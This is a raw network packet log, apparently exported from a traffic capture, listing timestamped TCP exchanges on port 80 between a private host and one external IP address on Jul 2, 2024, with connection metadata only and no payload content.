Jul 2, 2024 22:52:32.725219011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725227118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725231886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725235939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725246906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725426912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725435972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725445032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725454092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725457907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725480080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725488901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725490093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725498915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725508928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725517035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725523949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725537062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725547075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725922108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725936890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725945950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725963116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725972891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725976944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725981951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725991964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726001024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726011038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726016998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726021051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726031065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726036072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726038933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726041079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726052999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726056099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726063967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726073980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726083040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726084948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726092100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726100922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726111889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726133108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726150990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726550102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726561069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726571083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726582050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726592064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.726612091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.726645947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.729620934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729688883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729696989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729758024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.729764938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729774952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729809999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729813099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.729820013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729829073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729837894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729847908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.729849100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.729893923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730067968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730077982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730087996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730110884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730132103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730139971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730140924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730153084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730161905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730170965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730192900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730221033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730226040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730235100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730245113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730253935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730268955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730287075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730386972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730403900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730421066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730429888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730443001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730456114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730520964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730530977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730540037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730561018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730562925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730570078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.730582952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.730618000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.804747105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804764986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804775000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804785013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804794073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804802895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804806948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804811954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804816008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804820061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804825068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804830074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804833889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804838896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804843903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804986000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.804996014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805005074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805006981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805013895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805023909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805027962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805035114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805052996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805079937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805171013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805181026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805192947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805203915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805212975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805217981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805222988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805238962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805269003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805414915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805424929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805433989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805443048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805452108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805458069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805460930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805470943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.805478096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805496931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805516958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.805582047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813677073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813726902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.813827991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813837051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813842058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813847065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813886881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.813889980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.813921928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814007998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814017057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814026117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814035892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814045906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814052105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814054966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814064980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814086914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814100981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814172029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814182043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814215899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814225912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814228058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814234972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814244986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814254045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814260960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814282894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814390898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814400911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814438105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814449072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814459085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814469099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814479113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814495087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814524889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814536095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814536095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814544916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814557076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814565897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814568996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814574957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814580917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814599991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814611912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814615011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814637899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814639091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814655066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814666986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814676046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814680099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814688921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814712048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814744949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814846039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814857006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814866066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814876080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814884901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814889908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814893961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814898968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814903975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814915895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814918995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814929962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.814964056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814989090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.814991951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.815042973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.818574905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.818662882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.818672895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.818711042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.818711996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.818756104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.819286108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819294930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819304943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819315910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819336891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.819351912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819361925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819380045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.819407940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.819442034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819451094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819461107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819469929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.819520950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.820628881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820689917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820703983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820740938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.820782900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820794106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820805073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820816994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.820827961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.820842981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.821388960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.821398020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.821407080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.821415901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.821425915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.821434975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.821435928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.821466923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.822089911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.822160959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.893665075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.893824100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.893836975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.893884897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894073963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894097090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894108057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894117117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894118071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894125938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894134998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894145966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894155979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894165993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894176006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894184113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894185066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894193888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894202948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894205093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894242048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894376040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894386053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894395113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894403934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894412994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894422054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894422054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894432068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894439936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894444942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894467115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894619942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894629002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894638062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894646883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894656897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894658089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894666910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894676924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894685030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894707918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894717932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894857883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894867897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.894902945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.894944906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.895021915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.895031929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.895066023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.895499945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.895509958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.895551920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.902918100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.902941942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.902950048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.902964115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.902992964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903028965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903038979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903048992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903059006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903069019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903074026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903104067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903172970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903194904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903206110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903215885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903225899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903230906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903234005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903259039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903292894 CEST	80	49712	77.221.149.185	192.168.2.5
